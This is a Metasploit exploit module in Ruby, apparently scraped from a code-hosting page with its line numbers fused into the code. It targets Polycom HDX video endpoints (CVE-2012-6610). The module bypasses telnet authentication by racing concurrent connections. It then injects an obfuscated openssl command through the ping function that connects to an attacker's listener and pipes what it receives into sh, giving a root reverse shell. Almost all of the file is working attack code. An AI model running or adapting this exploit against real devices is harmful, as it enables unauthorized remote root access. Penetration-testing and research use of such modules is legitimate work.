Path: blob/master/modules/exploits/unix/misc/polycom_hdx_auth_bypass.rb
24387 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking7include Msf::Exploit::Remote::Tcp8include Msf::Auxiliary::Report910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Polycom Command Shell Authorization Bypass',15'Alias' => 'polycom_hdx_auth_bypass',16'Author' => [17'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # module18'h00die <[email protected]>', # submission/cleanup19],20'DisclosureDate' => '2013-01-18',21'Description' => %q{22The login component of the Polycom Command Shell on Polycom HDX23video endpoints, running software versions 3.0.5 and earlier,24is vulnerable to an authorization bypass when simultaneous25connections are made to the service, allowing remote network26attackers to gain access to a sandboxed telnet prompt without27authentication. Versions prior to 3.0.4 contain OS command28injection in the ping command which can be used to execute29arbitrary commands as root.30},31'License' => MSF_LICENSE,32'References' => [33[ 'CVE', '2012-6610' ],34[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf' ],35[ 'URL', 'http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html' ],36[ 'EDB', '24494']37],38'Platform' => 'unix',39'Arch' => ARCH_CMD,40'Privileged' => true,41'Targets' => [ [ "Universal", {} ] ],42'Payload' => {43'Space' => 8000,44'DisableNops' => true,45'Compat' => { 'PayloadType' => 'cmd' }46},47'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' },48'DefaultTarget' => 0,49'Notes' => {50'Reliability' => UNKNOWN_RELIABILITY,51'Stability' => UNKNOWN_STABILITY,52'SideEffects' => UNKNOWN_SIDE_EFFECTS53}54)55)5657register_options(58[59Opt::RHOST(),60Opt::RPORT(23),61OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),62OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])63], self.class64)65register_advanced_options(66[67OptInt.new('THREADS', [false, 'Threads for authentication bypass', 6]),68OptInt.new('MAX_CONNECTIONS', [false, 'Threads for authentication bypass', 100])69], self.class70)71end7273def check74connect75sock.put(Rex::Text.rand_text_alpha(rand(5) + 1) + "\n")76Rex.sleep(1)77res = sock.get_once78disconnect7980if !res && !res.empty?81return Exploit::CheckCode::Safe82end8384if res =~ /Welcome to ViewStation/85return Exploit::CheckCode::Appears86end8788Exploit::CheckCode::Safe89end9091def exploit92# Keep track of results (successful connections)93results = []9495# Random string for password96password = Rex::Text.rand_text_alpha(rand(5) + 1)9798# Threaded login checker99max_threads = datastore['THREADS']100cur_threads = []101102# Try up to 100 times just to be sure103queue = [*(1..datastore['MAX_CONNECTIONS'])]104105print_status("Starting Authentication bypass with #{datastore['THREADS']} threads with #{datastore['MAX_CONNECTIONS']} max connections ")106until queue.empty?107while cur_threads.length < max_threads108109# We can stop if we get a valid login110break unless results.empty?111112# keep track of how many attempts we've made113item = queue.shift114115# We can stop if we reach max tries116break unless item117118t = Thread.new(item) do |count|119sock = connect120sock.put(password + "\n")121res = sock.get_once122123until res.empty?124break unless results.empty?125126# Post-login Polycom banner means success127if res =~ /Polycom/128results << sock129break130# bind error indicates bypass is working131elsif res =~ /bind/132sock.put(password + "\n")133# Login error means we need to disconnect134elsif res =~ /failed/135break136# To many connections means we need to disconnect137elsif res =~ /Error/138break139end140res = sock.get_once141end142end143144cur_threads << t145end146147# We can stop if we get a valid login148break unless results.empty?149150# Add to a list of dead threads if we're finished151cur_threads.each_index do |ti|152t = cur_threads[ti]153unless t.alive?154cur_threads[ti] = nil155end156end157158# Remove any dead threads from the set159cur_threads.delete(nil)160161Rex.sleep(0.25)162end163164# Clean up any remaining threads165cur_threads.each { |sock| sock.kill }166167if !results.empty?168print_good("#{rhost}:#{rport} Successfully exploited the authentication bypass flaw")169do_payload(results[0])170else171print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable")172end173end174175def do_payload(sock)176# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise177cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])178179# Start a listener180start_listener(true)181182# Figure out the port we picked183cbport = self.service.getsockname[2]184185# Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128186cmd = "\nping ;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}#{cbhost}$s-port${s}#{cbport}|sh;ping$s-c${s}1${s}0\n"187sock.put(cmd)188189# Give time for our command to be queued and executed1901.upto(5) do191Rex.sleep(1)192break if session_created?193end194end195196def stage_final_payload(cli)197print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")198cli.put(payload.encoded + "\n")199end200201def start_listener(ssl = false)202comm = datastore['ListenerComm']203if comm == 'local'204comm = ::Rex::Socket::Comm::Local205else206comm = nil207end208209self.service = Rex::Socket::TcpServer.create(210'LocalPort' => datastore['CBPORT'],211'SSL' => ssl,212'SSLCert' => datastore['SSLCert'],213'Comm' => comm,214'Context' =>215{216'Msf' => framework,217'MsfExploit' => self218}219)220221self.service.on_client_connect_proc = proc { |client|222stage_final_payload(client)223}224225# Start the listening service226self.service.start227end228229# Shut down any running services230def cleanup231super232if self.service233print_status("Shutting down payload stager listener...")234begin235self.service.deref if self.service.is_a?(Rex::Service)236if self.service.is_a?(Rex::Socket)237self.service.close238self.service.stop239end240self.service = nil241rescue ::Exception242end243end244end245246# Accessor for our TCP payload stager247attr_accessor :service248end249250251